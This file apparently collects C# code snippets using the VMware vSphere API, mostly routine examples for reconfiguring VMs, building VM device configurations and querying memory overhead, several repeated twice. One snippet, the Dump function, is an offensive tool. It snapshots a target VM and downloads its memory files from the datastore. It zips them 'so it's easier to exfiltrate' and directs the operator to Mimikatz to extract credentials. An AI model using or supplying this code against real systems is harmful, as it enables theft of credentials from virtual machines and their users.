/// <summary> /// Reconfig the virtual machine. /// </summary> private void reconfigVirtualMachine() { Console.WriteLine("ReConfigure The Virtual Machine .........."); VirtualMachineFileInfo vmFileInfo = new VirtualMachineFileInfo(); vmFileInfo.logDirectory = "[" + getDataStore() + "]" + getVmName(); vmFileInfo.snapshotDirectory = "[" + getDataStore() + "]" + getVmName(); vmFileInfo.suspendDirectory = "[" + getDataStore() + "]" + getVmName(); vmFileInfo.vmPathName = "[" + getDataStore() + "]" + getVmName() + "/" + getVmName() + ".vmx"; VirtualMachineConfigSpec vmConfigSpec = new VirtualMachineConfigSpec(); vmConfigSpec.files = vmFileInfo; ManagedObjectReference taskmor = _service.ReconfigVM_Task( getVmMor(getVmName()), vmConfigSpec); Object[] result = cb.getServiceUtil().WaitForValues( taskmor, new String[] { "info.state", "info.error" }, new String[] { "state" }, new Object[][] { new Object[] { TaskInfoState.success, TaskInfoState.error } } ); if (result[0].Equals(TaskInfoState.success)) { Console.WriteLine("ReConfigure The Virtual Machine .......... Done"); } else { Console.WriteLine("Some Exception While Reconfiguring The VM " + result[0]); } }
/// <summary> /// Reconfig the virtual machine. /// </summary> private void reconfigVirtualMachine() { Console.WriteLine("ReConfigure The Virtual Machine .........."); VirtualMachineFileInfo vmFileInfo = new VirtualMachineFileInfo(); vmFileInfo.logDirectory = "["+getDataStore()+"]"+getVmName(); vmFileInfo.snapshotDirectory= "["+getDataStore()+"]"+getVmName(); vmFileInfo.suspendDirectory= "["+getDataStore()+"]"+getVmName(); vmFileInfo.vmPathName= "["+getDataStore() +"]"+getVmName()+"/"+getVmName()+".vmx"; VirtualMachineConfigSpec vmConfigSpec = new VirtualMachineConfigSpec(); vmConfigSpec.files =vmFileInfo; ManagedObjectReference taskmor = _service.ReconfigVM_Task( getVmMor(getVmName()),vmConfigSpec); Object[] result = cb.getServiceUtil().WaitForValues( taskmor, new String[] { "info.state", "info.error" }, new String[] { "state" }, new Object[][] { new Object[] { TaskInfoState.success, TaskInfoState.error }} ); if (result[0].Equals(TaskInfoState.success)) { Console.WriteLine("ReConfigure The Virtual Machine .......... Done"); } else { Console.WriteLine("Some Exception While Reconfiguring The VM " + result[0]); } }
static int Dump(DumpOptions options) { try { //Connect to target Connect(options.url, options.username, options.password, null); //Find target VM vm = GetTargetVM(options.targetvm); if (vm is null) { Error(new Exception("Failed to find target VM " + options.targetvm + ", are you sure the name is right?")); } //Create Snapshot if specified, otherwise find existing one ManagedObjectReference snapshot = GetSnapshot(options.targetvm, options.snapshot); //Get information about the snapshot VirtualMachineFileInfo fileInfo = GetProperty <VirtualMachineConfigInfo>(snapshot, "config").files; //Build the objects we need ManagedObjectReference environmentBrowser = GetProperty <ManagedObjectReference>(vm, "environmentBrowser"); ManagedObjectReference datastoreBrowser = GetProperty <ManagedObjectReference>(environmentBrowser, "datastoreBrowser"); //Search for a vmem file ManagedObjectReference task = vim.SearchDatastore_Task(datastoreBrowser, fileInfo.snapshotDirectory, GetHostDatastoreBrowserSearchSpec()); TaskInfo info = GetProperty <TaskInfo>(task, "info"); string state = info.state.ToString(); while (state != "success") { switch (state) { case "error": Error(new Exception("Error searching datastore for snapshot files")); break; case "running": Thread.Sleep(1000); break; } state = GetProperty <TaskInfo>(task, "info").state.ToString(); } HostDatastoreBrowserSearchResults results = (HostDatastoreBrowserSearchResults)GetProperty <TaskInfo>(task, "info").result; //Check at least one vmem exists, which it may not if not using --snapshot FileInfo latestFile = null; if (results.file.Length == 0) { Error(new Exception("Failed to find any .vmem files associated with the VM, despite there being snapshots. Virtual machine memory may not have been captured. Recommend rerunning with --snapshot")); } //Grab the latest .vmem file if there is more than one associated with a VM foreach (FileInfo file in results.file) { if (latestFile == null || DateTime.Compare(file.modification, latestFile.modification) > 0) { latestFile = file; } } //Build the URLs to download directly from datastore string host = options.url.Remove(options.url.Length - 4); string dsName = FindTextBetween(results.folderPath, "[", "]"); string folderPath = results.folderPath.Remove(0, dsName.Length + 3); string vmemURL = host + "/folder/" + folderPath + latestFile.path + "?dcPath=" + datacenterName + "&dsName=" + dsName; string vmsnURL = host + "/folder/" + folderPath + latestFile.path.Replace(".vmem", ".vmsn") + "?dcPath=" + datacenterName + "&dsName=" + dsName; string vmemFile = options.destination.Replace("\"", string.Empty) + @"\" + Path.GetRandomFileName(); string vmsnFile = options.destination.Replace("\"", string.Empty) + @"\" + Path.GetRandomFileName(); string zipFile = options.destination.Replace("\"", string.Empty) + @"\" + Path.GetRandomFileName(); //Make the web requests using (var client = new System.Net.WebClient()) { client.Credentials = new System.Net.NetworkCredential(options.username, options.password); client.Headers.Set(System.Net.HttpRequestHeader.ContentType, "application/octet-stream"); client.CachePolicy = new HttpRequestCachePolicy(HttpRequestCacheLevel.NoCacheNoStore); Log("[x] Downloading " + latestFile.path + " (" + latestFile.fileSize / 1048576 + @"MB) to " + vmemFile + "..."); client.DownloadFile(vmemURL, vmemFile); Log("[x] Downloading " + latestFile.path.Replace(".vmem", ".vmsn") + " to " + vmsnFile + "..."); client.DownloadFile(vmsnURL, vmsnFile); } //Zip up the two downloaded files Log("[x] Download complete, zipping up so it's easier to exfiltrate..."); var zip = ZipFile.Open(zipFile, ZipArchiveMode.Create); zip.CreateEntryFromFile(vmemFile, Path.GetFileName(vmemFile), CompressionLevel.Optimal); zip.CreateEntryFromFile(vmsnFile, Path.GetFileName(vmsnFile), CompressionLevel.Optimal); zip.Dispose(); File.Delete(vmemFile); File.Delete(vmsnFile); System.IO.FileInfo zipFileInfo = new System.IO.FileInfo(zipFile); Log("[x] Zipping complete, download " + zipFile + " (" + zipFileInfo.Length / 1048576 + "MB), rename to .zip, and follow instructions to use with Mimikatz"); //Delete the snapshot we created if needed if (options.snapshot) { Log("[x] Deleting the snapshot we created"); vim.RemoveSnapshot_Task(snapshot, false, true); } } catch (Exception fault) { Error(fault); } return(0); }
public VirtualMachineConfigSpec createVmConfigSpec(String vmName, String datastoreName, int diskSizeMB, ManagedObjectReference computeResMor, ManagedObjectReference hostMor) { ConfigTarget configTarget = getConfigTargetForHost(computeResMor, hostMor); VirtualDevice[] defaultDevices = getDefaultDevices(computeResMor, hostMor); VirtualMachineConfigSpec configSpec = new VirtualMachineConfigSpec(); String networkName = null; if (configTarget.network != null) { for (int i = 0; i < configTarget.network.Length; i++) { VirtualMachineNetworkInfo netInfo = configTarget.network[i]; NetworkSummary netSummary = netInfo.network; if (netSummary.accessible) { networkName = netSummary.name; break; } } } ManagedObjectReference datastoreRef = null; if (datastoreName != null) { Boolean flag = false; for (int i = 0; i < configTarget.datastore.Length; i++) { VirtualMachineDatastoreInfo vdsInfo = configTarget.datastore[i]; DatastoreSummary dsSummary = vdsInfo.datastore; if (dsSummary.name.Equals(datastoreName)) { flag = true; if (dsSummary.accessible) { datastoreName = dsSummary.name; datastoreRef = dsSummary.datastore; } else { throw new Exception("Specified Datastore is not accessible"); } break; } } if (!flag) { throw new Exception("Specified Datastore is not Found"); } } else { Boolean flag = false; for (int i = 0; i < configTarget.datastore.Length; i++) { VirtualMachineDatastoreInfo vdsInfo = configTarget.datastore[i]; DatastoreSummary dsSummary = vdsInfo.datastore; if (dsSummary.accessible) { datastoreName = dsSummary.name; datastoreRef = dsSummary.datastore; flag = true; break; } } if (!flag) { throw new Exception("No Datastore found on host"); } } String datastoreVolume = getVolumeName(datastoreName); VirtualMachineFileInfo vmfi = new VirtualMachineFileInfo(); vmfi.vmPathName = datastoreVolume; configSpec.files = vmfi; // Add a scsi controller int diskCtlrKey = 1; VirtualDeviceConfigSpec scsiCtrlSpec = new VirtualDeviceConfigSpec(); scsiCtrlSpec.operation = VirtualDeviceConfigSpecOperation.add; scsiCtrlSpec.operationSpecified = true; VirtualLsiLogicController scsiCtrl = new VirtualLsiLogicController(); scsiCtrl.busNumber = 0; scsiCtrlSpec.device = scsiCtrl; scsiCtrl.key = diskCtlrKey; scsiCtrl.sharedBus = VirtualSCSISharing.noSharing; String ctlrType = scsiCtrl.GetType().Name; // Find the IDE controller VirtualDevice ideCtlr = null; for (int di = 0; di < defaultDevices.Length; di++) { if (defaultDevices[di].GetType().Name.Equals("VirtualIDEController")) { ideCtlr = defaultDevices[di]; break; } } // Add a floppy VirtualDeviceConfigSpec floppySpec = new VirtualDeviceConfigSpec(); floppySpec.operation = VirtualDeviceConfigSpecOperation.add; floppySpec.operationSpecified = true; VirtualFloppy floppy = new VirtualFloppy(); VirtualFloppyDeviceBackingInfo flpBacking = new VirtualFloppyDeviceBackingInfo(); flpBacking.deviceName = "/dev/fd0"; floppy.backing = flpBacking; floppy.key = 3; floppySpec.device = floppy; // Add a cdrom based on a physical device VirtualDeviceConfigSpec cdSpec = null; if (ideCtlr != null) { cdSpec = new VirtualDeviceConfigSpec(); cdSpec.operation = VirtualDeviceConfigSpecOperation.add; cdSpec.operationSpecified = true; VirtualCdrom cdrom = new VirtualCdrom(); VirtualCdromIsoBackingInfo cdDeviceBacking = new VirtualCdromIsoBackingInfo(); cdDeviceBacking.datastore = datastoreRef; cdDeviceBacking.fileName = datastoreVolume + "testcd.iso"; cdrom.backing = cdDeviceBacking; cdrom.key = 20; cdrom.controllerKey = ideCtlr.key; cdrom.controllerKeySpecified = true; cdrom.unitNumberSpecified = true; cdrom.unitNumber = 0; cdSpec.device = cdrom; } // Create a new disk - file based - for the vm VirtualDeviceConfigSpec diskSpec = null; diskSpec = createVirtualDisk(datastoreName, diskCtlrKey, datastoreRef, diskSizeMB); // Add a NIC. the network Name must be set as the device name to create the NIC. VirtualDeviceConfigSpec nicSpec = new VirtualDeviceConfigSpec(); if (networkName != null) { nicSpec.operation = VirtualDeviceConfigSpecOperation.add; nicSpec.operationSpecified = true; VirtualEthernetCard nic = new VirtualPCNet32(); VirtualEthernetCardNetworkBackingInfo nicBacking = new VirtualEthernetCardNetworkBackingInfo(); nicBacking.deviceName = networkName; nic.addressType = "generated"; nic.backing = nicBacking; nic.key = 4; nicSpec.device = nic; } var deviceConfigSpec = new List <VirtualDeviceConfigSpec>(); deviceConfigSpec.Add(scsiCtrlSpec); deviceConfigSpec.Add(floppySpec); deviceConfigSpec.Add(diskSpec); deviceConfigSpec.Add(nicSpec); if (ideCtlr != null) { deviceConfigSpec.Add(cdSpec); } configSpec.deviceChange = deviceConfigSpec.ToArray(); return(configSpec); }
public VirtualMachineConfigSpec createVmConfigSpec(String vmName, String datastoreName, int diskSizeMB, ManagedObjectReference computeResMor, ManagedObjectReference hostMor) { ConfigTarget configTarget = getConfigTargetForHost(computeResMor, hostMor); VirtualDevice[] defaultDevices = getDefaultDevices(computeResMor, hostMor); VirtualMachineConfigSpec configSpec = new VirtualMachineConfigSpec(); String networkName = null; if (configTarget.network != null) { for (int i = 0; i < configTarget.network.Length; i++) { VirtualMachineNetworkInfo netInfo = configTarget.network[i]; NetworkSummary netSummary = netInfo.network; if (netSummary.accessible) { networkName = netSummary.name; break; } } } ManagedObjectReference datastoreRef = null; if (datastoreName != null) { Boolean flag = false; for (int i = 0; i < configTarget.datastore.Length; i++) { VirtualMachineDatastoreInfo vdsInfo = configTarget.datastore[i]; DatastoreSummary dsSummary = vdsInfo.datastore; if (dsSummary.name.Equals(datastoreName)) { flag = true; if (dsSummary.accessible) { datastoreName = dsSummary.name; datastoreRef = dsSummary.datastore; } else { throw new Exception("Specified Datastore is not accessible"); } break; } } if (!flag) { throw new Exception("Specified Datastore is not Found"); } } else { Boolean flag = false; for (int i = 0; i < configTarget.datastore.Length; i++) { VirtualMachineDatastoreInfo vdsInfo = configTarget.datastore[i]; DatastoreSummary dsSummary = vdsInfo.datastore; if (dsSummary.accessible) { datastoreName = dsSummary.name; datastoreRef = dsSummary.datastore; flag = true; break; } } if (!flag) { throw new Exception("No Datastore found on host"); } } String datastoreVolume = getVolumeName(datastoreName); VirtualMachineFileInfo vmfi = new VirtualMachineFileInfo(); vmfi.vmPathName = datastoreVolume; configSpec.files = vmfi; // Add a scsi controller int diskCtlrKey = 1; VirtualDeviceConfigSpec scsiCtrlSpec = new VirtualDeviceConfigSpec(); scsiCtrlSpec.operation = VirtualDeviceConfigSpecOperation.add; scsiCtrlSpec.operationSpecified = true; VirtualLsiLogicController scsiCtrl = new VirtualLsiLogicController(); scsiCtrl.busNumber = 0; scsiCtrlSpec.device = scsiCtrl; scsiCtrl.key = diskCtlrKey; scsiCtrl.sharedBus = VirtualSCSISharing.noSharing; String ctlrType = scsiCtrl.GetType().Name; // Find the IDE controller VirtualDevice ideCtlr = null; for (int di = 0; di < defaultDevices.Length; di++) { if (defaultDevices[di].GetType().Name.Equals("VirtualIDEController")) { ideCtlr = defaultDevices[di]; break; } } // Add a floppy VirtualDeviceConfigSpec floppySpec = new VirtualDeviceConfigSpec(); floppySpec.operation = VirtualDeviceConfigSpecOperation.add; floppySpec.operationSpecified = true; VirtualFloppy floppy = new VirtualFloppy(); VirtualFloppyDeviceBackingInfo flpBacking = new VirtualFloppyDeviceBackingInfo(); flpBacking.deviceName = "/dev/fd0"; floppy.backing = flpBacking; floppy.key = 3; floppySpec.device = floppy; // Add a cdrom based on a physical device VirtualDeviceConfigSpec cdSpec = null; if (ideCtlr != null) { cdSpec = new VirtualDeviceConfigSpec(); cdSpec.operation = VirtualDeviceConfigSpecOperation.add; cdSpec.operationSpecified = true; VirtualCdrom cdrom = new VirtualCdrom(); VirtualCdromIsoBackingInfo cdDeviceBacking = new VirtualCdromIsoBackingInfo(); cdDeviceBacking.datastore = datastoreRef; cdDeviceBacking.fileName = datastoreVolume + "testcd.iso"; cdrom.backing = cdDeviceBacking; cdrom.key = 20; cdrom.controllerKey = ideCtlr.key; cdrom.controllerKeySpecified = true; cdrom.unitNumberSpecified = true; cdrom.unitNumber = 0; cdSpec.device = cdrom; } // Create a new disk - file based - for the vm VirtualDeviceConfigSpec diskSpec = null; diskSpec = createVirtualDisk(datastoreName, diskCtlrKey, datastoreRef, diskSizeMB); // Add a NIC. the network Name must be set as the device name to create the NIC. VirtualDeviceConfigSpec nicSpec = new VirtualDeviceConfigSpec(); if (networkName != null) { nicSpec.operation = VirtualDeviceConfigSpecOperation.add; nicSpec.operationSpecified = true; VirtualEthernetCard nic = new VirtualPCNet32(); VirtualEthernetCardNetworkBackingInfo nicBacking = new VirtualEthernetCardNetworkBackingInfo(); nicBacking.deviceName = networkName; nic.addressType = "generated"; nic.backing = nicBacking; nic.key = 4; nicSpec.device = nic; } var deviceConfigSpec = new List<VirtualDeviceConfigSpec>(); deviceConfigSpec.Add(scsiCtrlSpec); deviceConfigSpec.Add(floppySpec); deviceConfigSpec.Add(diskSpec); deviceConfigSpec.Add(nicSpec); if (ideCtlr != null) { deviceConfigSpec.Add(cdSpec); } configSpec.deviceChange = deviceConfigSpec.ToArray(); return configSpec; }
public void queryMemoryOverhead() { _service = ecb.getConnection().Service; _sic = ecb.getConnection().ServiceContent; ArrayList supportedVersions = VersionUtil.getSupportedVersions(ecb.get_option("url")); String hostname = ecb.get_option("hostname"); ManagedObjectReference hmor = ecb.getServiceUtil().GetDecendentMoRef(null, "HostSystem", hostname); if (hmor != null) { if (VersionUtil.isApiVersionSupported(supportedVersions, "2.5")) { VirtualMachineConfigInfo vmConfigInfo = new VirtualMachineConfigInfo(); vmConfigInfo.changeVersion = "1"; DateTime dt = ecb.getConnection().Service.CurrentTime(ecb.getConnection().ServiceRef); vmConfigInfo.modified = dt; VirtualMachineDefaultPowerOpInfo defaultInfo = new VirtualMachineDefaultPowerOpInfo(); vmConfigInfo.defaultPowerOps = defaultInfo; VirtualMachineFileInfo fileInfo = new VirtualMachineFileInfo(); vmConfigInfo.files = fileInfo; VirtualMachineFlagInfo flagInfo = new VirtualMachineFlagInfo(); vmConfigInfo.flags = flagInfo; vmConfigInfo.guestFullName = "Full Name"; vmConfigInfo.guestId = "Id"; VirtualHardware vhardware = new VirtualHardware(); vhardware.memoryMB = int.Parse(ecb.get_option("memorysize")); vhardware.numCPU = int.Parse(ecb.get_option("cpucount")); vmConfigInfo.hardware = vhardware; // Not Required For Computing The Overhead vmConfigInfo.name = "OnlyFoeInfo"; vmConfigInfo.uuid = "12345678-abcd-1234-cdef-123456789abc"; vmConfigInfo.version = "First"; vmConfigInfo.template = false; vmConfigInfo.alternateGuestName = "Alternate"; long overhead = ecb._connection._service.QueryMemoryOverheadEx( hmor, vmConfigInfo); Console.WriteLine("Using queryMemoryOverheadEx API using vmReconfigInfo"); Console.WriteLine("Memory overhead necessary to " + "poweron a virtual machine with memory " + ecb.get_option("memorysize") + " MB and cpu count " + ecb.get_option("cpucount") + " -: " + overhead + " bytes"); } else { long overhead = ecb._connection._service.QueryMemoryOverhead(hmor, long.Parse(ecb.get_option("memorysize")), 0, false, int.Parse(ecb.get_option("cpucount")) ); Console.WriteLine("Using queryMemoryOverhead API " + "using CPU count and Memory Size"); Console.WriteLine("Memory overhead necessary to " + "poweron a virtual machine with memory " + ecb.get_option("memorysize") + " MB and cpu count " + ecb.get_option("cpucount") + " -: " + overhead + " bytes"); } } else { Console.WriteLine("Host " + ecb.get_option("hostname") + " not found"); } }
public void queryMemoryOverhead() { _service = ecb.getConnection().Service; _sic = ecb.getConnection().ServiceContent; ArrayList supportedVersions = VersionUtil.getSupportedVersions(ecb.get_option("url")); String hostname = ecb.get_option("hostname"); ManagedObjectReference hmor = ecb.getServiceUtil().GetDecendentMoRef(null, "HostSystem", hostname); if (hmor != null) { if (VersionUtil.isApiVersionSupported(supportedVersions, "2.5")) { VirtualMachineConfigInfo vmConfigInfo = new VirtualMachineConfigInfo(); vmConfigInfo.changeVersion = "1"; DateTime dt = ecb.getConnection().Service.CurrentTime(ecb.getConnection().ServiceRef); vmConfigInfo.modified = dt; VirtualMachineDefaultPowerOpInfo defaultInfo = new VirtualMachineDefaultPowerOpInfo(); vmConfigInfo.defaultPowerOps=defaultInfo; VirtualMachineFileInfo fileInfo = new VirtualMachineFileInfo(); vmConfigInfo.files=fileInfo; VirtualMachineFlagInfo flagInfo = new VirtualMachineFlagInfo(); vmConfigInfo.flags=flagInfo; vmConfigInfo.guestFullName="Full Name"; vmConfigInfo.guestId="Id"; VirtualHardware vhardware = new VirtualHardware(); vhardware.memoryMB=int.Parse(ecb.get_option("memorysize")); vhardware.numCPU=int.Parse(ecb.get_option("cpucount")); vmConfigInfo.hardware=vhardware; // Not Required For Computing The Overhead vmConfigInfo.name="OnlyFoeInfo"; vmConfigInfo.uuid="12345678-abcd-1234-cdef-123456789abc"; vmConfigInfo.version="First"; vmConfigInfo.template=false; vmConfigInfo.alternateGuestName="Alternate"; long overhead = ecb._connection._service.QueryMemoryOverheadEx( hmor,vmConfigInfo); Console.WriteLine("Using queryMemoryOverheadEx API using vmReconfigInfo"); Console.WriteLine("Memory overhead necessary to " + "poweron a virtual machine with memory " + ecb.get_option("memorysize") + " MB and cpu count " + ecb.get_option("cpucount") + " -: " + overhead + " bytes"); } else { long overhead = ecb._connection._service.QueryMemoryOverhead(hmor, long.Parse(ecb.get_option("memorysize")), 0, false, int.Parse(ecb.get_option("cpucount")) ); Console.WriteLine("Using queryMemoryOverhead API " + "using CPU count and Memory Size"); Console.WriteLine("Memory overhead necessary to " + "poweron a virtual machine with memory " + ecb.get_option("memorysize") + " MB and cpu count " + ecb.get_option("cpucount") + " -: " + overhead + " bytes"); } } else { Console.WriteLine("Host " + ecb.get_option("hostname") + " not found"); } }